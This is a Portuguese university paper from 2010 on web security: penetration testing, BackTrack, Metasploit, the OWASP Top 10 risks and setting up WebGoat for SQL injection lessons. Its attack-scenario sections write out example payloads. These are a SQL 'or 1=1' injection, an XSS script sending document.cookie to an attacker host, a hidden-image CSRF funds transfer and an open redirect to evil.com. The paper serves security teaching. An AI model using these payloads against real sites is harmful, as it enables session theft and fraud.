Você está na página 1de 15

Universidade de Braslia

Instituto de Cincias Exatas Departamento de Cincia da Computao

Lies sobre injeo de SQL do projeto WebGoat


Segurana de Dados,Turma A, 01/2010

Thiago Melo Stuckert do Amaral 06/96773

Professor: Prof. Ms. Pedro Antnio Dourado de Rezende

Braslia, 25 de agosto de 2010

Sumrio
1 Introduo 2 Teste de Penetrao 3 Mquina virtual 4 BackTrack 5 Metasploit 6 OWASP TOP 10 6.1 Injeo de SQL . . . . . . . . . . . . . . . . . . . 6.1.1 Exemplo de cenrio de ataque . . . . . . . 6.1.2 Proteo . . . . . . . . . . . . . . . . . . . 6.2 Cross Site Scripting (XSS) . . . . . . . . . . . . 6.2.1 Exemplo de cenrio de ataque . . . . . . . 6.2.2 Proteo . . . . . . . . . . . . . . . . . . . 6.3 Falhas de autenticao e gerenciamento de sesso 6.3.1 Exemplo de cenrio de ataque . . . . . . . 6.3.2 Proteo . . . . . . . . . . . . . . . . . . . 6.4 Referncia direta insegura aos objetos . . . . . . 6.4.1 Exemplo de cenrio de ataque . . . . . . . 6.4.2 Proteo . . . . . . . . . . . . . . . . . . . 6.5 Cross Site Request Forgery (CSRF) . . . . . . . . 6.5.1 Exemplo de cenrio de ataque . . . . . . . 6.5.2 Proteo . . . . . . . . . . . . . . . . . . . 6.6 Congurao inapropriada de segurana . . . . . 6.6.1 Exemplo de cenrio de ataque . . . . . . . 6.6.2 Proteo . . . . . . . . . . . . . . . . . . . 6.7 Armazenamento criptogrco inseguro . . . . . . 6.7.1 Exemplo de cenrio de ataque . . . . . . . 6.7.2 Proteo . . . . . . . . . . . . . . . . . . . 6.8 Falha de restrio de acesso URL . . . . . . . . 6.8.1 Exemplo de cenrio de ataque . . . . . . . 6.8.2 Proteo . . . . . . . . . . . . . . . . . . . 6.9 Proteo insuciente na camada de transporte . . 6.9.1 Exemplo de cenrio de ataque . . . . . . . 6.9.2 Proteo . . . . . . . . . . . . . . . . . . . 6.10 Redirecionamento sem validao . . . . . . . . . 6.10.1 Exemplo de cenrio de ataque . . . . . . . 6.10.2 Proteo . . . . . . . . . . . . . . . . . . . 7 whitelist vs blacklist 8 WebGoat 9 Teste 10 Concluso 2 2 2 2 3 3 4 4 5 5 5 5 5 6 6 6 6 6 6 7 7 7 7 8 8 8 8 8 9 9 9 9 9 10 10 10 10 11 11 11

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

Introduo

Este trabalho apresenta uma simples denio de teste de penetrao, a distribuio BackTrack, o projeto Metasploit dando destaque ao framework w3ac, os projetos OWASP TOP 10 e WebGoat e naliza mostrando as lies sobre injeo de SQL do projeto WebGoat.

Teste de Penetrao

Testes de penetrao so testes de segurana em que os auditores simulam ataques reais para identicar vulnerabilidades em recursos de aplicaes, sistemas ou redes [1]. Com destaque para avaliaes de disponibilidade, integridade e condencialidade das informaes. Faz parte de uma auditoria de segurana da informao, uma avaliao de risco ativa [4].

Mquina virtual

Uma mquina virtual um software de virtualizao, o qual permite a utilizao de um sistema operacional dentro de outro. Exemplos de softwares que implementam mquinas virtuais so: VMware e VirtualBox. No presente trabalho escolhemos rodar o BackTrack atravs do VirtualBox pois este software livre.

BackTrack

BackTrack um sistema operacional GNU/Linux distribudo na forma de um DVD live, ou seja podemos rodar o sistema operacional sem precisar installo. O BackTrack possui como principal objetivo servir como ambiente para um teste de penetrao. O BackTrack se originou da fuso de duas distribuies que possuam o mesmo objetivo: WHAX e Auditor Security Collection. Qualquer dvida em relao a instalao do BackTrack pode ser sanada atravs dos tutoriais disponveis no site da comunidade, o qual se encontra no apndice. Para logar no BackTrack utilizamos o usurio root e a senha toor, para congurar a rede digitamos o seguinte comando: /etc/init.d/networking start . Para iniciarmos a interface grca digita-se: startx. O BackTrack separa suas ferramentas em 11 categorias: * Coleta de Informaes * Mapeamento de Rede * Identicao de vulnerabilidade 2

* Anlise de aplicaes Web * Anlise de rede de rdio (802.11,Bluetooth,Rd ) * Penetrao * Escalada de privilgios * Manuteno de acesso * Forense digital * Engenharia reversa * Voz sobre IP (VOIP) * Diversos

Metasploit

O Metasploit um projeto de cdigo aberto o qual provm informaes sobre vulnerabilidades. O Metasploit foi criado em 2003 como um jogo de rede portvel utilizando a linguagem de script Perl. O seu subprojeto mais conhecido o Metasploit Framework, uma ferramenta para o desenvolvimento e execuo de cdigos de explorao em mquinas remotas. Outro subprojeto do Metasploit o Web Application Attack and Audit Framework (w3af) cujo objetivo criar um framework para identicar e explorar vulnerabilidades em aplicaes Web, tal que o framework seja fcil de utilizar e estender.

OWASP TOP 10

O Open Web Application Security Project (OWASP) lanou em 2010 a terceira edio do projeto OWASP TOP 10, sobre os 10 maiores riscos em aplicaes Web. A tabela 1 um comparativo entre o OWASP TOP 10 de 2007 e o publicado em 2010 [2]. As linhas em vermelho representam riscos que estavam presentes no rank de 2007 porm foram removidos em 2010, as linhas em marrom so riscos presentes no rank de 2010 porm no estavam presentes em 2007. Utilizamos FAGS como abreviatura para falhas de autenticao e gerenciamento de sesso. A linha contendo um asterisco na primeira coluna representa um risco que estava presente na edio de 2004 do OWASP TOP 10 como congurao insegura de gerenciamento. Como podemos ver os riscos no se modicaram muito de uma edio para outra. Pelo fato do risco de injeo ser o primeiro nas duas edies, escolhemos as lies sobre injeo de SQL do WebGoat como tema do presente trabalho. A seguir descreveremos cada um dos riscos apontados pelo OWASP TOP 10. 3

Tabela 1: Comparativo entre o rank de 2007 e o de 2010 [2]. OWASP TOP 10 - 2007 Falhas de injeo Cross Site Scripting (XSS) FAGS Referncia direta insegura aos objetos Cross Site Request Forgery (CSRF) * Armazenamento criptogrco inseguro Falha de restrio de acesso URL Comunicaes inseguras No estava presente no Top 10 2007 Execuo de arquivo malicioso Vazamento de informao e tratamento incorreto de erro OWASP TOP 10 - 2010 Injeo Cross-Site Scripting (XSS) FAGS Referncia direta insegura aos objetos Cross-Site Request Forgery (CSRF) Congurao inapropriada de segurana Armazenamento criptogrco inseguro Falha de restrio de acesso URL Proteo insuciente na camada de transporte Redirecionamento sem validao Removido do Top 10 2010 Removido do Top 10 2010

6.1

Injeo de SQL

Falhas de injeo so muito comuns em aplicaes Web, um exemplo de vulnerabilidade a injeo de SQL, esta ocorre quando uma entrada de um campo de texto informado pelo usurio utilizado em uma consulta ao banco de dados sem nenhum tipo de validao. A gura 1 exemplica de uma forma humorada uma injeo de SQL. Este risco facilmente explorado, sendo um risco comum de fcil deteco e impacto severo.

Figura 1: Tira em quadrinhos exemplicando a injeo de SQL [3].

6.1.1

Exemplo de cenrio de ataque

A aplicao utiliza dado no convel para montar uma consulta ao banco de dados: select * from alunos where id = " "+ request.getParameter("id")+" "; O atacante pode modicar o parmetro para or 1=1. Isto modica o signicado da consulta ao banco retornando todos os registros da tabela alunos. 4

6.1.2

Proteo

* Utilizar uma Application Programming Interface (API) a qual prover uma interface parametrizada. * Utilizar alguma rotina segura para tratar os caracteres especiais. * Utilizar uma whitelist onde se encontram todas as entradas vlidas de um campo.

6.2

Cross Site Scripting (XSS)

XSS a vulnerabilidade mais popular em aplicaes Web. Ocorre quando uma aplicao inclui dados informados por um usurio em um pgina enviada ao navegador sem realizar uma validao adequada. Este risco apresenta uma diculdade de explorao mediana, fcil deteco e impacto moderado.

6.2.1

Exemplo de cenrio de ataque

A aplicao utiliza dados no conveis na construo de parte do HTML: <input name=cartao type= TEXT value=" "+request.getParameter("CC") + > O atacante modica o parmetro CC no browser para: ><script>document.location= www.h.com/foo=+document.cookie</script> Isto faz com que o ID de sesso da vtima seja enviado para o site do atacante.

6.2.2

Proteo

* Realizar um tratamento adequado de todo dado no convel no contexto HTML. * Utilizar uma whitelist onde se encontram todas as entradas vlidas.

6.3

Falhas de autenticao e gerenciamento de sesso

Autenticao apropriada e gerenciamento de sesso so mecanismos crticos para a segurana de aplicaes Web. Frequentemente possuem falhas em reas como logout, gerenciamento de senha, timeouts. Encontrar falhas pode ser difcil pois cada implementao nica. Este risco apresenta uma diculdade de explorao mediana, sendo um risco comum de diculdade de deteco mediana e impacto severo.

6.3.1

Exemplo de cenrio de ataque

O site de uma companhia area permite a reescrita da url, colocando o ID da sesso na mesma: http://example.com/sale/saleitems;jsessionid=2P0OC2J?dest=Hawaii Um atacante pode reutilizar o ID de sesso de um usurio autenticado na aplicao.

6.3.2

Proteo

* Vericar as funes de logout e timeout. * Prover aos desenvolvedores um conjunto de controles de autenticao e gerenciamento de sesso. * Utilizar uma interface simples para os desenvolvedores. * Aumentar os esforos para evitar falhas XSS que podem roubar o ID da sesso.

6.4

Referncia direta insegura aos objetos

Ocorre quando um objeto referenciado de forma direta, sem utilizar qualquer tipo de proteo. As aplicaes nem sempre vericam se o usurio possui permisso para acessar determinado objeto. Este risco apresenta fcil explorao, sendo um risco comum de fcil deteco e impacto moderado.

6.4.1

Exemplo de cenrio de ataque

Acesso a documentos sigilosos, imagine que o usurio tem acesso ao documento arq01.pdf disponvel na URL: www.example.com/arq01.pdf. O usurio pode modicar a URL para tentar acessar o arquivo arq02.pdf, acessando assim um documento no autorizado.

6.4.2

Proteo

* Utilizar um mapeamento do real nome do arquivo para o cdigo que o usurio solicita. * Vericar as permisses do usurio ao tentar acessar um arquivo.

6.5

Cross Site Request Forgery (CSRF)

CSRF tira vantagem de aplicaes Web que permitem atacantes preverem todos os detalhes de uma ao particular. Caso o browser envie um cookie de 6

sesso automaticamente, o atacante pode criar uma pgina que gera requisies forjadas que so idnticas a requisies legtimas. Este risco apresenta diculdade mediana de explorao, sendo um risco muito popular de fcil deteco e impacto moderado.

6.5.1

Exemplo de cenrio de ataque

Uma aplicao permite ao usurio submeter uma requisio de mudana de estado na qual nada secreto. Como : http://example.com/app/transferFunds?amount=1500 &destinationAccount=4673243243 O atacante constri uma requisio a qual far com que a vtima transra dinheiro para a sua conta, a esconde em uma requisio de imagem como: <img src="http://example.com/app/transferFunds?amount=1500 &destinationAccount=attackersAcct# width="0"height="0"/> Caso a vtima visite a pgina aonde a referncia para a falsa imagem est armazenada e j estiver logado no site example.com, a requisio forjada ser executada e o dinheiro transferido.

6.5.2

Proteo

A preveno requer a incluso de tokens imprevisveis no corpo ou URL de cada requisio HTTP. Tais tokens devem ser no mnimo nicos por sesso do usurio, mas tambm podem ser nicos por requisio.

6.6

Congurao inapropriada de segurana

Congurao inapropriada de segurana pode ocorrer em qualquer nvel da pilha de aplicao. Scanners so teis na deteco da falta de patches, conguraes inapropriadas ou contas padro. Este risco apresenta fcil explorao, sendo um risco comum de fcil deteco e impacto moderado.

6.6.1

Exemplo de cenrio de ataque

A aplicao cona em um framework como Struts. Falhas de XSS so encontradas nos componentes deste framework. A correo lanado porm o desenvolvedor no atualiza a biblioteca da aplicao. At que esta atualizao ocorra a aplicao ca sujeita a atacantes.

6.6.2

Proteo

* Estabelecer um processo repetvel para tornar fcil e rpida a implementao de um outro ambiente da aplicao. * Uma arquitetura de aplicao forte a qual prov uma boa separao da segurana entre os componentes. * Audies peridicas para detectar faltas de patches e conguraes inapropriadas.

6.7

Armazenamento criptogrco inseguro

A falha mais comum nesta rea simplesmente no cifrar dados que merecem serem cifrados. Quando a criptograa utilizada, as falhas mais comuns so uso de geradores de chaves inseguros, armazenamento inseguro de chaves, algoritmos fracos e a no utilizao de chaves rotativas. Este risco de difcil explorao, sendo um risco incomum de difcil deteco e impacto severo.

6.7.1

Exemplo de cenrio de ataque

Uma ta de backup contendo registros cifrada , porm a chave utilizada se encontra armazenada na mesma ta. E a ta nunca chega no centro de backup.

6.7.2

Proteo

Todos os dados sensveis devem ser cifrados, algumas medidas: * Devemos levar em considerao as ameaas das quais desejamos proteger os dados. Os dados devero estar cifrados ao menos de maneira a defender destas ameaas. * Garantir que backups esto cifrados e as chaves utilizadas esto armazenadas separadamente. * Garantir que os algoritmos de cifragem utilizados so fortes e as chaves tambm, utilizar um gerenciador de chaves. * Garantir que todas as chaves so protegidas de acessos no autorizados.

6.8

Falha de restrio de acesso URL

Caso um mecanismo de controle de acesso no seja implementado de forma adequada, possvel que um usurio tenha acesso a pginas que no deveriam ser permitidas. Este risco de fcil explorao, sendo um risco incomum de diculdade mediana de deteco e impacto moderado.

6.8.1

Exemplo de cenrio de ataque

O atacante simplesmente tenta navegar em algumas URLs. Considera a seguinte URL: http://example.com/app/admin_getappInfo Ao acessar est pgina o usurio obtm privilgios de administrador invs de ser impedido de acessar.

6.8.2

Proteo

Para se prevenir desenvolvedores devem implementar uma autenticao e autorizao para cada pgina. Este mecanismo de controle de acesso deve prover pelo menos: * Uma poltica de autenticao e autorizao bsica. * A poltica de acesso deve ser facilmente congurvel. * O mecanismo deve negar todos os acessos por padro e permitir acesso atravs de pedidos para usurios especcos para cada pgina. * Se a pgina apresentada em uma sequncia, certique-se que a pgina est sendo apresentada na ordem correta.

6.9

Proteo insuciente na camada de transporte

Aplicaes frequentemente no protegem o trco da rede. Informaes sensveis devem ser transmitidas atravs de canais seguros providos por protocolos criptogrcos como Secure Sockets Layer (SSL)/ Transport Layer Security (TLS). Este risco de difcil explorao, sendo um risco comum de fcil deteco e impacto moderado.

6.9.1

Exemplo de cenrio de ataque

Um site simplesmente no utiliza SSL para todas as pginas que requerem autenticao. Um atacante pode monitorar o trco da rede, podendo assim capturar um cookie de sesso de uma vtima autenticada no site. O atacante pode se logar no site como a vtima.

6.9.2

Proteo

Prover proteo na camada de transporte pode afetar o projeto da aplicao. O mais fcil requerer SSL para toda a aplicao, porm por motivos de desempenho, alguns sites usam SSL apenas em pginas privadas. No mnimo o desenvolvedor deve tomar cuidado com os seguintes aspectos: 9

* Requerer SSL para todas as pginas que contm informaes sensveis. * Setar a ag secure em todos os cookies sensveis. * Congurar o provedor de SSL para suportar apenas algoritmos fortes. * Garantir a validade de certicados, que no estejam expirados, no revogados e casem com os domnios usados pela aplicao. * Backend e outras conexes devem tambm utilizar SSL e outros protocolos criptogrcos.

6.10

Redirecionamento sem validao

Aplicaes frequentemente redirecionam usurios para outras pginas. Algumas vezes a pgina alvo especicada em um parmetro no validado, permitindo aos atacantes escolher a pgina de destino. Este risco apresenta uma diculdade de explorao mediana, sendo um risco incomum de fcil deteco e impacto moderado.

6.10.1

Exemplo de cenrio de ataque

A aplicao possui uma pgina chamada redirect.jsp a qual recebe um nico parmetro chamado url. O atacante modica o parmetro URL para redirecionar os usurios para um site malicioso. Como por exemplo: http://www.example.com/redirect.jsp?url=evil.com .

6.10.2

Proteo

Pode-se proteger dessa falha de diferentes maneiras: * Simplesmente evitando usar redirecionamentos. * No utilizar parmetros do usurio nos redirecionamentos. * Utilizar uma validao nos parmetros e vericar se foi autorizado pelo usurio.

whitelist vs blacklist

Uma blacklist uma lista de entradas maliciosas, enquanto uma whitelist uma lista de entradas vlidas. Uma whitelist melhor para proteger uma aplicao pois o atacante tentar de todas as formas possveis encontrar uma entrada no coberta na blacklist portanto seu espao de busca muito maior do que o espao representado pelas entradas vlidas. A melhor maneira de gerar as entradas vlidas atravs de expresses regulares. Porm esta expresso regular deve ser testada, pois caso aceite entradas maliciosas a whitelist contm falhas. 10

WebGoat

O WebGoat da OWASP tem o intuito de mostrar para desenvolvedores de aplicaes Web como testar estas contra vulnerabilidades bem conhecidas. Existem outros projetos que como o WebGoat disponibilizam uma aplicao com vrias vulnerabilidades e um tutorial de como consert-las, por exemplo o Gruyere, projeto recentemente lanado pelo Google, e o projeto Damn Vulnerable Web App. Estes ambientes de execuo de testes so conhecidos como Wargames pois simulam ambientes reais porm ao tentarmos invadir estes no estamos infringindo nenhuma lei. O projeto s tem ns educacionais. Caso algum tente reproduzir os testes em uma aplicao real sem autorizao estar infringindo a lei vigente. Este alerta tambm serve para o presente trabalho os testes demonstrados aqui no devem ser reproduzidos em ambientes reais sem a devida autorizao. O WebGoat alerta que enquanto a aplicao estiver rodando na mquina esta ser extremamente vulnervel a ataques. Portanto enquanto estiver usando a aplicao a mquina deve ser desconectada da internet. O ambiente de execuo dos testes escolhido neste trabalho foi o WebGoat, uma aplicao Web desenvolvida na plataforma J2EE mantida pela OWASP. Para executarmos o WebGoat devemos ter instalado na nossa mquina a JDK 1.6 e a varivel JAVA_HOME setada corretamente. No apndice se encontra um link para o tutorial ocial de instalao do WebGoat porm este no est muito claro. Deve-se baixar os arquivos: WebGoatOWASP_Standard-5.3_RC1.7z e WebGoat-5.3_RC1.war do repositrio do WebGoat, endereo o qual tambm se encontra no apndice, descompactar o arquivo WebGoat-OWASP_Standard-5.3_RC1.7z em uma pasta. Nesta pasta existir o arquivo webgoat.sh deve-se vericar se nas linhas 10, 21, 23 e 27 est explicitada a JDK 1.6 no a JDK 1.5. Deve-se substituir o arquivo WebGoat.war da pasta /tomcat/webapps pelo arquivo WebGoat5.3_RC1.war. Com estas modicaes consegue-se levantar a aplicao atravs do seguinte comando: sh webgoat.sh start8080. O WebGoat agora pode ser acessado atravs do navegador Web pela url: http://127.0.0.1:8080/WebGoat/attack . Digita-se o usurio guest e senha guest .

Teste
A seguir realizaremos os teste de injeo de SQL do WebGoat.

11

10

Concluso

Atravs de um ambiente controlado como o WebGoat podemos treinar desenvolvedores de aplicaes Web para que estes no cometam erros comuns na codicao.

12

Referncias
[1] OWASP Foundation. Owasp testing guide v 3.0. https://www.owasp.org/ images/8/89/OWASP_Testing_Guide_V3.pdf, June 2008. [2] OWASP Foundation. Owasp top 10. http://owasptop10.googlecode. com/files/OWASP\%20Top\%2010\%20-\%202010.pdf, April 2010. [3] R. Munroe. Exploits of a mom. http://xkcd.com/327/, August 2010. [4] T. Wilhelm. Professional Penetration Testing: Creating and Operating a Formal Hacking Lab. Syngress Publishing, 2009.

13

Apndice A Lista de ferramentas


Este apndice lista todas as ferramentas citadas neste trabalho com seus respectivos endereos eletrnicos. * BackTrack : http://www.backtrack-linux.org/, acessado em Agosto de 2010. * Damn Vulnerable Web App: http://sourceforge.net/projects/dvwa/, acessado em Agosto de 2010. * Gruyere: http://google-gruyere.appspot.com/, acessado em Agosto de 2010. * Metasploit: http://www.metasploit.com/, acessado em Agosto de 2010. * VirtualBox : http://www.virtualbox.org/, acessado em Agosto de 2010. * WebGoat - Repositrio:http://code.google.com/p/webgoat/downloads/ list, acessado em Agosto de 2010. * WebGoat - Solues:http://yehg.net/lab/pr0js/training/webgoat.php, acessado em Agosto de 2010. * WebGoat - Tutorial de instalao: http://www.owasp.org/index.php/ WebGoat_User_and_Install_Guide_Table_of_Contents, acessado em Agosto de 2010. * Web Application Attack and Audit Framework (w3af ): http://w3af. sourceforge.net/, acessado em Agosto de 2010.

14

Você também pode gostar